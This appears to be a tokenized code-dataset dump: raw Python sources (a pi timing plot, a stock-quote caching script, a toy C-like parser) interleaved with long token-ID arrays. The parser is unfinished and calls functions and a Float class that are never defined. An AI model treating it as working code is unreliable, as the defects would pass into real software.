1426,
4235,
29889,
13,
462,
1678,
560,
29873,
353,
9773,
29918,
2671,
29898,
2523,
356,
29898,
2671,
29889,
4039,
511,
318,
29915,
2324,
1495,
13,
462,
1678,
560,
29873,
29889,
726,
353,
376,
9190,
29908,
13,
462,
1678,
560,
29873,
29889,
842,
29898,
29884,
29915,
2324,
1853,
742,
318,
29915,
11651,
1495,
13,
462,
1678,
560,
29873,
29889,
842,
29898,
29884,
29915,
5182,
742,
1746,
29889,
726,
29897,
13,
18884,
25342,
285,
1853,
1275,
318,
29915,
999,
16304,
2396,
13,
462,
1678,
560,
29873,
353,
9773,
29918,
2671,
29898,
2523,
356,
29898,
2671,
29889,
4039,
511,
318,
29915,
2324,
1495,
13,
462,
1678,
560,
29873,
29889,
726,
353,
376,
6572,
2366,
29908,
13,
462,
1678,
560,
29873,
29889,
842,
29898,
29884,
29915,
2324,
1853,
742,
318,
29915,
11651,
1495,
13,
462,
1678,
560,
29873,
29889,
842,
29898,
29884,
29915,
5182,
742,
1746,
29889,
726,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
1596,
376,
14148,
1746,
29901,
1273,
29879,
29908,
1273,
313,
13506,
718,
1746,
29889,
4039,
29897,
13,
462,
1678,
1596,
634,
929,
29889,
517,
1807,
29898,
2671,
29897,
13,
462,
1678,
27450,
580,
13,
9651,
5096,
29889,
7323,
580,
13,
4706,
6088,
29918,
5563,
29898,
667,
29897,
13,
13,
4706,
2407,
29889,
29027,
353,
518,
13073,
29889,
22017,
333,
29962,
13,
4706,
14164,
29889,
12650,
29889,
842,
29898,
11651,
29897,
13,
13,
1678,
14164,
29889,
12650,
29889,
23126,
580,
13,
1678,
14348,
29889,
12650,
29889,
23126,
580,
13,
13,
1678,
736,
13,
1678,
396,
25553,
278,
16180,
5745,
13,
1678,
1053,
3142,
1982,
13,
1678,
363,
3142,
29892,
2224,
297,
16180,
29918,
9799,
29901,
13,
4706,
565,
2897,
29889,
2084,
29889,
9933,
29898,
2084,
1125,
13,
9651,
6773,
13,
4706,
1596,
376,
6767,
13234,
1273,
29878,
304,
1273,
29878,
29908,
1273,
313,
2271,
29892,
2224,
29897,
13,
4706,
285,
29881,
29918,
262,
353,
3142,
1982,
29889,
332,
417,
2238,
29898,
2271,
29897,
13,
4706,
934,
29918,
10853,
353,
285,
29881,
29918,
262,
29889,
949,
580,
13,
4706,
285,
29881,
29918,
262,
29889,
5358,
580,
13,
4706,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
359,
29889,
2084,
29889,
25721,
29898,
2084,
22164,
13,
9651,
2897,
29889,
29885,
12535,
12935,
29898,
359,
29889,
2084,
29889,
25721,
29898,
2084,
876,
13,
4706,
285,
29881,
29918,
449,
353,
1722,
29898,
2084,
718,
15300,
1482,
742,
525,
29893,
29890,
1495,
13,
4706,
285,
29881,
29918,
449,
29889,
3539,
29898,
1445,
29918,
10853,
29897,
13,
4706,
285,
29881,
29918,
449,
29889,
5358,
580,
13,
4706,
2897,
29889,
1267,
420,
29898,
2084,
718,
15300,
1482,
742,
2224,
29897,
13,
2
] |
CalculatingPi/pi_linear_plot.py | davidmallasen/Hello_MPI | 0 | 3492 | import matplotlib.pyplot as plt
import numpy as np
# Read data
size = []
time = []
with open("pi_linear.txt") as file:
for line in file.readlines():
x, y = line.split(',')
size.append(int(x.strip()))
time.append(float(y.strip()))
# Plot data
fig, ax = plt.subplots()
ax.plot(size, time)
ax.set(xlabel='Num. processes', ylabel='Time (s)',
title='Pi linear')
#ax.grid()
fig.savefig("pi_linear.png")
plt.show()
| [
1,
1053,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
12655,
408,
7442,
13,
13,
29937,
7523,
848,
13,
2311,
353,
5159,
13,
2230,
353,
5159,
13,
2541,
1722,
703,
1631,
29918,
10660,
29889,
3945,
1159,
408,
934,
29901,
13,
1678,
363,
1196,
297,
934,
29889,
949,
9012,
7295,
13,
4706,
921,
29892,
343,
353,
1196,
29889,
5451,
29317,
1495,
13,
4706,
2159,
29889,
4397,
29898,
524,
29898,
29916,
29889,
17010,
22130,
1678,
13,
4706,
931,
29889,
4397,
29898,
7411,
29898,
29891,
29889,
17010,
22130,
1678,
13,
13,
29937,
18399,
848,
13,
1003,
29892,
4853,
353,
14770,
29889,
1491,
26762,
580,
13,
1165,
29889,
5317,
29898,
2311,
29892,
931,
29897,
13,
13,
1165,
29889,
842,
29898,
29916,
1643,
2433,
8009,
29889,
10174,
742,
343,
1643,
2433,
2481,
313,
29879,
29897,
742,
13,
539,
3611,
2433,
12197,
5608,
1495,
13,
29937,
1165,
29889,
7720,
580,
13,
13,
1003,
29889,
7620,
1003,
703,
1631,
29918,
10660,
29889,
2732,
1159,
13,
572,
29873,
29889,
4294,
580,
13,
2
] |
main-old.py | dwarf-miner/midas | 0 | 78606 | <reponame>dwarf-miner/midas
# system library
import datetime
import pickle
import vision
# project library
from cstock.yahoo_engine import YahooEngine
from cstock.request import Requester
from cstock.model import Stock
if __name__ == '__main__':
try:
input = open('002415.pkl', 'rb')
stocks = pickle.load(input)
input.close()
except Exception:
engine = YahooEngine()
yahoo_requester = Requester(engine)
stocks = yahoo_requester.request('002415', ('1900-01-01', '2016-08-29'))
output = open('002415.pkl', 'wb')
pickle.dump(stocks, output, pickle.HIGHEST_PROTOCOL)
output.close()
for stock in stocks:
print(stock)
# def test_parse(self):
# data = ("Date,Open,High,Low,Close,Volume,Adj Close\n"
# "2014-08-22,34.20,34.22,33.49,33.70,2222200,33.70\n"
# "2014-08-21,33.81,34.29,33.15,34.21,3544800,34.21")
# stocks = self.engine.parse(data, 'foo_id')
# self.assertEqual(len(stocks), 2)
# self.assertEqual(
# stocks[0].as_dict(),
# {'close': '33.70',
# 'code': 'foo_id',
# 'date': '2014-08-22',
# 'high': '34.22',
# 'low': '33.49',
# 'name': None,
# 'open': '34.20',
# 'price': None,
# 'time': None,
# 'turnover': None,
# 'yesterday_close': None,
# 'volume': '2222200'}
# )
| [
1,
529,
276,
1112,
420,
29958,
29881,
4495,
29888,
29899,
1195,
261,
29914,
6563,
294,
13,
29937,
1788,
3489,
13,
5215,
12865,
13,
5215,
5839,
280,
13,
5215,
18551,
13,
13,
29937,
2060,
3489,
13,
3166,
274,
17712,
29889,
29891,
26779,
29918,
10599,
1053,
612,
26779,
12412,
13,
3166,
274,
17712,
29889,
3827,
1053,
10729,
261,
13,
3166,
274,
17712,
29889,
4299,
1053,
10224,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
13,
29871,
1018,
29901,
13,
1678,
1881,
353,
1722,
877,
29900,
29900,
29906,
29946,
29896,
29945,
29889,
29886,
6321,
742,
525,
6050,
1495,
13,
1678,
10961,
29879,
353,
5839,
280,
29889,
1359,
29898,
2080,
29897,
13,
1678,
1881,
29889,
5358,
580,
13,
29871,
5174,
8960,
29901,
13,
1678,
6012,
353,
612,
26779,
12412,
580,
13,
1678,
343,
26779,
29918,
3827,
261,
353,
10729,
261,
29898,
10599,
29897,
13,
1678,
10961,
29879,
353,
343,
26779,
29918,
3827,
261,
29889,
3827,
877,
29900,
29900,
29906,
29946,
29896,
29945,
742,
6702,
29896,
29929,
29900,
29900,
29899,
29900,
29896,
29899,
29900,
29896,
742,
525,
29906,
29900,
29896,
29953,
29899,
29900,
29947,
29899,
29906,
29929,
8785,
13,
1678,
1962,
353,
1722,
877,
29900,
29900,
29906,
29946,
29896,
29945,
29889,
29886,
6321,
742,
525,
29893,
29890,
1495,
13,
1678,
5839,
280,
29889,
15070,
29898,
17712,
29879,
29892,
1962,
29892,
5839,
280,
29889,
29950,
6259,
9606,
1254,
29918,
8618,
4986,
15032,
29897,
13,
1678,
1962,
29889,
5358,
580,
13,
13,
1454,
10961,
297,
10961,
29879,
29901,
13,
1678,
1596,
29898,
17712,
29897,
13,
13,
1678,
396,
822,
1243,
29918,
5510,
29898,
1311,
1125,
13,
1678,
396,
268,
848,
353,
4852,
2539,
29892,
6585,
29892,
16382,
29892,
29931,
340,
29892,
11123,
29892,
24679,
29892,
3253,
29926,
23186,
29905,
29876,
29908,
29871,
13,
1678,
396,
632,
376,
29906,
29900,
29896,
29946,
29899,
29900,
29947,
29899,
29906,
29906,
29892,
29941,
29946,
29889,
29906,
29900,
29892,
29941,
29946,
29889,
29906,
29906,
29892,
29941,
29941,
29889,
29946,
29929,
29892,
29941,
29941,
29889,
29955,
29900,
29892,
29906,
29906,
29906,
29906,
29906,
29900,
29900,
29892,
29941,
29941,
29889,
29955,
29900,
29905,
29876,
29908,
13,
1678,
396,
632,
376,
29906,
29900,
29896,
29946,
29899,
29900,
29947,
29899,
29906,
29896,
29892,
29941,
29941,
29889,
29947,
29896,
29892,
29941,
29946,
29889,
29906,
29929,
29892,
29941,
29941,
29889,
29896,
29945,
29892,
29941,
29946,
29889,
29906,
29896,
29892,
29941,
29945,
29946,
29946,
29947,
29900,
29900,
29892,
29941,
29946,
29889,
29906,
29896,
1159,
13,
13,
1678,
396,
268,
10961,
29879,
353,
1583,
29889,
10599,
29889,
5510,
29898,
1272,
29892,
525,
5431,
29918,
333,
1495,
13,
1678,
396,
268,
1583,
29889,
9294,
9843,
29898,
2435,
29898,
17712,
29879,
511,
29871,
29906,
29897,
13,
1678,
396,
268,
1583,
29889,
9294,
9843,
29898,
13,
1678,
396,
308,
10961,
29879,
29961,
29900,
1822,
294,
29918,
8977,
3285,
13,
1678,
396,
308,
11117,
5358,
2396,
525,
29941,
29941,
29889,
29955,
29900,
742,
13,
1678,
396,
3986,
525,
401,
2396,
525,
5431,
29918,
333,
742,
13,
1678,
396,
3986,
525,
1256,
2396,
525,
29906,
29900,
29896,
29946,
29899,
29900,
29947,
29899,
29906,
29906,
742,
13,
1678,
396,
3986,
525,
9812,
2396,
525,
29941,
29946,
29889,
29906,
29906,
742,
13,
1678,
396,
3986,
525,
677,
2396,
525,
29941,
29941,
29889,
29946,
29929,
742,
13,
1678,
396,
3986,
525,
978,
2396,
6213,
29892,
13,
1678,
396,
3986,
525,
3150,
2396,
525,
29941,
29946,
29889,
29906,
29900,
742,
13,
1678,
396,
3986,
525,
9175,
2396,
6213,
29892,
13,
1678,
396,
3986,
525,
2230,
2396,
6213,
29892,
13,
1678,
396,
3986,
525,
685,
957,
2396,
6213,
29892,
13,
1678,
396,
3986,
525,
29891,
18358,
29918,
5358,
2396,
6213,
29892,
13,
1678,
396,
3986,
525,
24623,
2396,
525,
29906,
29906,
29906,
29906,
29906,
29900,
29900,
10827,
13,
1678,
396,
268,
1723,
13,
13,
2
] |
parser.py | alexkyllo/pycc | 0 | 25982 | <gh_stars>0
from lexer import (
TokenKeyword,
TokenOpenBrace,
TokenCloseBrace,
TokenOpenParen,
TokenCloseParen,
TokenSemicolon,
TokenAssignmentOperator,
TokenAdditionOperator,
TokenMultiplicationOperator,
TokenIncrementOperator,
TokenEqualityOperator,
TokenInequalityOperator,
TokenLogicalOperator,
TokenIdentifier,
TokenInteger,
TokenFloat,
TokenString,
)
class Int():
'''An integer literal'''
def __init__(self, value):
self.value = value
def __str__(self):
return "(Int {0})".format(self.value)
class Constant():
'''A constant value'''
def __init__(self, value):
self.value = value
def __str__(self):
return "(Constant {0})".format(self.value)
class Variable():
'''A variable'''
def __init__(self, value):
self.value = value
def __str__(self):
return "(Variable {0})".format(self.value)
class UnaryOperationExpression():
'''A prefix expression'''
def __init__(self, operator, operand):
self.operator = operator
self.operand = operand
def __str__(self):
return "(UnaryOp {0} {1})".format(self.operator.value, self.operand)
class BinaryOperationExpression():
''' An infix expression'''
def __init__(self, operator, lhs, rhs):
self.operator = operator
self.lhs = lhs
self.rhs = rhs
def __str__(self):
return "(BinaryOp {0} {1} {2})".format(self.operator.value, self.lhs, self.rhs)
class IfStatement():
''' An if statement'''
def __init__(self, condition, body, else_body):
self.condition = condition
self.body = body
self.else_body = else_body
def __str__(self):
return "(IfStatement {0} {1} {2})".format(self.condition, self.body, self.else_body)
class AssignmentStatement():
''' An assignment statement'''
def __init__(self, op, lhs, rhs):
self.op = op
self.lhs = lhs
self.rhs = rhs
def __str__(self):
return "(AssignmentStatement {0} {1} {2})".format(self.op.value, self.lhs, self.rhs)
def __repr__(self):
return str(self)
class ReturnStatement():
''' A return statement'''
def __init__(self, expression):
self.expression = expression
def __str__(self):
return "(ReturnStatement {0})".format(self.expression)
def __repr__(self):
return str(self)
class Argument():
''' A function argument'''
def __init__(self, type_name, name):
self.type_name = type_name
self.name = name
def __str__(self):
return "(Argument {0} {1})".format(self.type_name, self.name)
class Function():
''' A function contains a list of statements'''
def __init__(self, return_type, name, arguments=[], statements=[]):
self.return_type = return_type
self.name = name
self.arguments = arguments
self.statements = statements
def __str__(self):
return "(Function {0} {1} ({2}) {3})".format(
self.return_type,
self.name,
self.arguments,
str(self.statements))
class Call():
''' A function call contains a function name and a list of arguments'''
def __init__(self, name, arguments = []):
self.name = name
self.arguments = arguments
def __str__(self):
return "(Call {0} ({1}))".format(self.name, self.arguments)
class Program():
''' A Program contains a list of functions'''
def __init__(self, functions):
self.functions = functions
def __str__(self):
return "(Program {0})".format(str(self.functions))
def parse_constant(tokens):
if (isinstance(peek(tokens), TokenInteger)):
current_token = accept(TokenInteger, tokens)
node = Constant(Int(current_token.value))
elif (isinstance(peek(tokens), TokenFloat)):
current_token = accept(TokenFloat, tokens)
node = Constant(Float(current_token.value))
elif (isinstance(peek(tokens), TokenFloat)):
current_token = accept(TokenString, tokens)
node = Constant(current_token.value)
else:
node = None
return node
def parse_variable(tokens):
if isinstance(peek(tokens), TokenIdentifier):
current_token = tokens.pop(0)
node = Variable(current_token.value)
else:
node = None
return node
def parse_primary(tokens):
expr = parse_constant(tokens) or parse_variable(tokens)
if expr:
return expr
open_paren = accept(TokenOpenParen, tokens)
if open_paren:
expr = parse_expression(tokens)
expect(TokenCloseParen, tokens)
return expr
def parse_unary(tokens):
if any(isinstance(peek(tokens), x) for x in (
TokenLogicalOperator,
TokenAdditionOperator,
)):
operator = (accept(TokenLogicalOperator, tokens)
or accept(TokenAdditionOperator, tokens))
rhs = parse_unary(tokens)
return UnaryOperationExpression(operator, rhs)
else:
return parse_primary(tokens)
def parse_multiplication(tokens):
expr = parse_unary(tokens)
while isinstance(peek(tokens), TokenMultiplicationOperator):
operator = accept(TokenMultiplicationOperator, tokens)
rhs = parse_multiplication(tokens)
expr = BinaryOperationExpression(operator, expr, rhs)
return expr
def parse_addition(tokens):
expr = parse_multiplication(tokens)
while isinstance(peek(tokens), TokenAdditionOperator):
operator = accept(TokenAdditionOperator, tokens)
rhs = parse_addition(tokens)
expr = BinaryOperationExpression(operator, expr, rhs)
return expr
def parse_comparison(tokens):
expr = parse_addition(tokens)
while isinstance(peek(tokens), TokenInequalityOperator):
operator = accept(TokenInequalityOperator, tokens)
rhs = parse_comparison(tokens)
expr = BinaryOperationExpression(operator, expr, rhs)
return expr
def parse_equality(tokens):
expr = parse_comparison(tokens)
while isinstance(peek(tokens), TokenEqualityOperator):
operator = accept(TokenEqualityOperator, tokens)
rhs = parse_equality(tokens)
expr = BinaryOperationExpression(operator, expr, rhs)
next_token = peek(tokens)
return expr
def parse_expression(tokens):
return parse_equality(tokens)
def parse_return(tokens):
if accept_value(TokenKeyword, 'return', tokens):
expr = parse_expression(tokens)
expect(TokenSemicolon, tokens)
return ReturnStatement(expr)
def peek(tokens):
if len(tokens) < 1:
return None
else:
return tokens[0]
def accept(tok_type, tokens):
if isinstance(peek(tokens), tok_type):
return tokens.pop(0)
else:
return None
def accept_value(tok_type, tok_value, tokens):
if isinstance(peek(tokens), tok_type) and peek(tokens).value == tok_value:
return tokens.pop(0)
else:
return None
def expect(tok, tokens):
match = accept(tok, tokens)
if not match:
tok_instance = tok()
if hasattr(tok_instance, 'value'):
raise Exception("Expected token {0}".format(tok_instance.value))
else:
raise Exception("Expected token {0}".format(tok.__name__))
return match
def parse_assignment(tokens):
lhs = parse_variable(tokens)
if lhs:
if isinstance(peek(tokens), TokenAssignmentOperator):
op = accept(TokenAssignmentOperator, tokens)
rhs = parse_expression(tokens)
expect(TokenSemicolon, tokens)
return AssignmentStatement(op, lhs, rhs)
return None
def parse_initializing_assignment(tokens):
# handle initializing assignment statement
if accept(TokenKeyword, tokens):
if accept(TokenIdentifier, tokens):
if accept(TokenAssignmentOperator, tokens):
expr = parse_expression(tokens)
expect(TokenSemicolon, tokens)
return AssignmentStatement(expr)
def parse_function_call(tokens):
if accept(TokenOpenParen, tokens):
# handle function call
args = []
while not accept(TokenCloseParen, tokens):
args.append(parse_function_argument(tokens))
expect(TokenSemicolon, tokens)
return Call()
def parse_statement(tokens):
# Declarations
# int a;
# Assignment statements:
# a = 1;
# int a = 1;
# Return statements:
# return a;
# return a + 1;
# Other keyword statements:
# break;
# continue;
# check if first token is keyword or identifier name
stmt = (parse_return(tokens)
or parse_assignment(tokens)
or parse_init(tokens)
or parse_call(tokens))
return stmt
def parse_function_argument(tokens):
# does not handle * pointer yet
current_token = tokens.pop(0)
if not isinstance(current_token, TokenKeyword):
raise Exception("Expected argument type declaration")
type_name = current_token
if not(isinstance(peek(tokens), TokenIdentifier)):
raise Exception("Expected identifier for argument name")
name = parse_variable(tokens)
return Argument(type_name, name)
def parse_function_declaration(tokens):
current_token = tokens.pop(0)
if isinstance(current_token, TokenKeyword):
return_type = current_token
else:
raise Exception("Expected return type declaration")
current_token = tokens.pop(0)
if isinstance(current_token, TokenIdentifier):
name = current_token
else:
raise Exception("Expected identifier for function name")
current_token = tokens.pop(0)
args = []
if isinstance(current_token, TokenOpenParen):
while not isinstance(peek(tokens), TokenCloseParen):
args.append(parse_function_argument(tokens))
else:
raise Exception("Expected token (")
tokens.pop(0) # swallow )
statements = []
current_token = tokens.pop(0) # should be {
if isinstance(current_token, TokenOpenBrace):
while not isinstance(peek(tokens), TokenCloseBrace):
statements.append(parse_statement(tokens))
else:
raise Exception("Expected token {")
return Function(return_type, name, args, statements)
def parse(tokens):
functions = []
while len(tokens) > 0:
functions.append(parse_function(tokens))
return Program(functions)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
19566,
261,
1053,
313,
13,
1678,
25159,
2558,
1742,
29892,
13,
1678,
25159,
6585,
29933,
25525,
29892,
13,
1678,
25159,
11123,
29933,
25525,
29892,
13,
1678,
25159,
6585,
2177,
264,
29892,
13,
1678,
25159,
11123,
2177,
264,
29892,
13,
1678,
25159,
28516,
5283,
265,
29892,
13,
1678,
25159,
7900,
10194,
26486,
29892,
13,
1678,
25159,
2528,
654,
26486,
29892,
13,
1678,
25159,
6857,
666,
1414,
26486,
29892,
13,
1678,
25159,
797,
17053,
26486,
29892,
13,
1678,
25159,
6108,
2877,
26486,
29892,
13,
1678,
25159,
29902,
484,
29567,
26486,
29892,
13,
1678,
25159,
3403,
936,
26486,
29892,
13,
1678,
25159,
12889,
29892,
13,
1678,
25159,
7798,
29892,
13,
1678,
25159,
11031,
29892,
13,
1678,
25159,
1231,
29892,
13,
29897,
13,
13,
1990,
3159,
7295,
13,
1678,
14550,
2744,
6043,
16333,
12008,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
995,
1125,
13,
4706,
1583,
29889,
1767,
353,
995,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
18227,
2928,
426,
29900,
1800,
1642,
4830,
29898,
1311,
29889,
1767,
29897,
13,
13,
1990,
28601,
7295,
13,
1678,
14550,
29909,
4868,
995,
12008,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
995,
1125,
13,
4706,
1583,
29889,
1767,
353,
995,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
18227,
12075,
424,
426,
29900,
1800,
1642,
4830,
29898,
1311,
29889,
1767,
29897,
13,
13,
1990,
28736,
7295,
13,
1678,
14550,
29909,
2286,
12008,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
995,
1125,
13,
4706,
1583,
29889,
1767,
353,
995,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
18227,
16174,
426,
29900,
1800,
1642,
4830,
29898,
1311,
29889,
1767,
29897,
13,
13,
1990,
853,
653,
10925,
10960,
7295,
13,
1678,
14550,
29909,
10944,
4603,
12008,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
5455,
29892,
1751,
392,
1125,
13,
4706,
1583,
29889,
6891,
353,
5455,
13,
4706,
1583,
29889,
3372,
392,
353,
1751,
392,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
18227,
2525,
653,
11746,
426,
29900,
29913,
426,
29896,
1800,
1642,
4830,
29898,
1311,
29889,
6891,
29889,
1767,
29892,
1583,
29889,
3372,
392,
29897,
13,
13,
1990,
29479,
10925,
10960,
7295,
13,
1678,
14550,
530,
3041,
861,
4603,
12008,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
5455,
29892,
301,
9499,
29892,
29365,
1125,
13,
4706,
1583,
29889,
6891,
353,
5455,
13,
4706,
1583,
29889,
29880,
9499,
353,
301,
9499,
13,
4706,
1583,
29889,
29878,
9499,
353,
29365,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
18227,
25196,
11746,
426,
29900,
29913,
426,
29896,
29913,
426,
29906,
1800,
1642,
4830,
29898,
1311,
29889,
6891,
29889,
1767,
29892,
1583,
29889,
29880,
9499,
29892,
1583,
29889,
29878,
9499,
29897,
13,
13,
1990,
960,
14473,
7295,
13,
1678,
14550,
530,
565,
3229,
12008,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4195,
29892,
3573,
29892,
1683,
29918,
2587,
1125,
13,
4706,
1583,
29889,
16122,
353,
4195,
13,
4706,
1583,
29889,
2587,
353,
3573,
13,
4706,
1583,
29889,
2870,
29918,
2587,
353,
1683,
29918,
2587,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
18227,
3644,
14473,
426,
29900,
29913,
426,
29896,
29913,
426,
29906,
1800,
1642,
4830,
29898,
1311,
29889,
16122,
29892,
1583,
29889,
2587,
29892,
1583,
29889,
2870,
29918,
2587,
29897,
13,
13,
1990,
4007,
10194,
14473,
7295,
13,
1678,
14550,
530,
12827,
3229,
12008,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1015,
29892,
301,
9499,
29892,
29365,
1125,
13,
4706,
1583,
29889,
459,
353,
1015,
13,
4706,
1583,
29889,
29880,
9499,
353,
301,
9499,
13,
4706,
1583,
29889,
29878,
9499,
353,
29365,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
18227,
7900,
10194,
14473,
426,
29900,
29913,
426,
29896,
29913,
426,
29906,
1800,
1642,
4830,
29898,
1311,
29889,
459,
29889,
1767,
29892,
1583,
29889,
29880,
9499,
29892,
1583,
29889,
29878,
9499,
29897,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
1125,
13,
4706,
736,
851,
29898,
1311,
29897,
13,
13,
1990,
7106,
14473,
7295,
13,
1678,
14550,
319,
736,
3229,
12008,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4603,
1125,
13,
4706,
1583,
29889,
17471,
353,
4603,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
18227,
11609,
14473,
426,
29900,
1800,
1642,
4830,
29898,
1311,
29889,
17471,
29897,
13,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
1125,
13,
4706,
736,
851,
29898,
1311,
29897,
13,
13,
1990,
23125,
7295,
13,
1678,
14550,
319,
740,
2980,
12008,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1134,
29918,
978,
29892,
1024,
1125,
13,
4706,
1583,
29889,
1853,
29918,
978,
353,
1134,
29918,
978,
13,
4706,
1583,
29889,
978,
353,
1024,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
18227,
15730,
426,
29900,
29913,
426,
29896,
1800,
1642,
4830,
29898,
1311,
29889,
1853,
29918,
978,
29892,
1583,
29889,
978,
29897,
13,
13,
1990,
6680,
7295,
13,
1678,
14550,
319,
740,
3743,
263,
1051,
310,
9506,
12008,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
736,
29918,
1853,
29892,
1024,
29892,
6273,
11759,
1402,
9506,
29922,
2636,
1125,
13,
4706,
1583,
29889,
2457,
29918,
1853,
353,
736,
29918,
1853,
13,
4706,
1583,
29889,
978,
353,
1024,
13,
4706,
1583,
29889,
25699,
353,
6273,
13,
4706,
1583,
29889,
6112,
4110,
353,
9506,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
18227,
6678,
426,
29900,
29913,
426,
29896,
29913,
21313,
29906,
1800,
426,
29941,
1800,
1642,
4830,
29898,
13,
9651,
1583,
29889,
2457,
29918,
1853,
29892,
13,
9651,
1583,
29889,
978,
29892,
13,
9651,
1583,
29889,
25699,
29892,
13,
9651,
851,
29898,
1311,
29889,
6112,
4110,
876,
13,
13,
1990,
8251,
7295,
13,
1678,
14550,
319,
740,
1246,
3743,
263,
740,
1024,
322,
263,
1051,
310,
6273,
12008,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1024,
29892,
6273,
353,
5159,
1125,
13,
4706,
1583,
29889,
978,
353,
1024,
13,
4706,
1583,
29889,
25699,
353,
6273,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
18227,
5594,
426,
29900,
29913,
21313,
29896,
20073,
1642,
4830,
29898,
1311,
29889,
978,
29892,
1583,
29889,
25699,
29897,
13,
13,
1990,
7835,
7295,
13,
1678,
14550,
319,
7835,
3743,
263,
1051,
310,
3168,
12008,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3168,
1125,
13,
4706,
1583,
29889,
12171,
353,
3168,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
18227,
9283,
426,
29900,
1800,
1642,
4830,
29898,
710,
29898,
1311,
29889,
12171,
876,
13,
13,
1753,
6088,
29918,
23362,
29898,
517,
12360,
1125,
13,
1678,
565,
313,
275,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
25159,
7798,
22164,
13,
4706,
1857,
29918,
6979,
353,
3544,
29898,
6066,
7798,
29892,
18897,
29897,
13,
4706,
2943,
353,
28601,
29898,
2928,
29898,
3784,
29918,
6979,
29889,
1767,
876,
13,
1678,
25342,
313,
275,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
25159,
11031,
22164,
13,
4706,
1857,
29918,
6979,
353,
3544,
29898,
6066,
11031,
29892,
18897,
29897,
13,
4706,
2943,
353,
28601,
29898,
11031,
29898,
3784,
29918,
6979,
29889,
1767,
876,
13,
1678,
25342,
313,
275,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
25159,
11031,
22164,
13,
4706,
1857,
29918,
6979,
353,
3544,
29898,
6066,
1231,
29892,
18897,
29897,
13,
4706,
2943,
353,
28601,
29898,
3784,
29918,
6979,
29889,
1767,
29897,
13,
1678,
1683,
29901,
13,
4706,
2943,
353,
6213,
13,
1678,
736,
2943,
13,
13,
1753,
6088,
29918,
11918,
29898,
517,
12360,
1125,
13,
1678,
565,
338,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
25159,
12889,
1125,
13,
4706,
1857,
29918,
6979,
353,
18897,
29889,
7323,
29898,
29900,
29897,
13,
4706,
2943,
353,
28736,
29898,
3784,
29918,
6979,
29889,
1767,
29897,
13,
1678,
1683,
29901,
13,
4706,
2943,
353,
6213,
13,
1678,
736,
2943,
13,
13,
1753,
6088,
29918,
16072,
29898,
517,
12360,
1125,
13,
1678,
22010,
353,
6088,
29918,
23362,
29898,
517,
12360,
29897,
470,
6088,
29918,
11918,
29898,
517,
12360,
29897,
13,
1678,
565,
22010,
29901,
13,
4706,
736,
22010,
13,
1678,
1722,
29918,
862,
264,
353,
3544,
29898,
6066,
6585,
2177,
264,
29892,
18897,
29897,
13,
1678,
565,
1722,
29918,
862,
264,
29901,
13,
4706,
22010,
353,
6088,
29918,
17471,
29898,
517,
12360,
29897,
13,
4706,
2149,
29898,
6066,
11123,
2177,
264,
29892,
18897,
29897,
13,
4706,
736,
22010,
13,
13,
1753,
6088,
29918,
348,
653,
29898,
517,
12360,
1125,
13,
1678,
565,
738,
29898,
275,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
921,
29897,
363,
921,
297,
313,
13,
9651,
25159,
3403,
936,
26486,
29892,
13,
9651,
25159,
2528,
654,
26486,
29892,
13,
268,
22164,
13,
4706,
5455,
353,
313,
16044,
29898,
6066,
3403,
936,
26486,
29892,
18897,
29897,
13,
462,
1678,
470,
3544,
29898,
6066,
2528,
654,
26486,
29892,
18897,
876,
13,
4706,
29365,
353,
6088,
29918,
348,
653,
29898,
517,
12360,
29897,
13,
4706,
736,
853,
653,
10925,
10960,
29898,
6891,
29892,
29365,
29897,
13,
1678,
1683,
29901,
13,
4706,
736,
6088,
29918,
16072,
29898,
517,
12360,
29897,
13,
13,
1753,
6088,
29918,
18056,
1414,
29898,
517,
12360,
1125,
13,
1678,
22010,
353,
6088,
29918,
348,
653,
29898,
517,
12360,
29897,
13,
1678,
1550,
338,
8758,
29898,
412,
1416,
29898,
517,
12360,
511,
25159,
6857,
666,
1414,
26486,
1125,
13,
4706,
5455,
353,
3544,
29898,
6066,
6857,
666,
1414,
26486,
29892,
18897,
29897,
13,
4706,
29365,
353,
6088,
29918,
18056,
1414,
29898,
517,
12360,
29897,
13,
4706,
22010,
353,
29479,
10925,
10960,
29898,
6891,
29892,
22010,
29892,
29365,
29897,
13,
1678,
736,
22010,
13,
13,
1753,
6088,
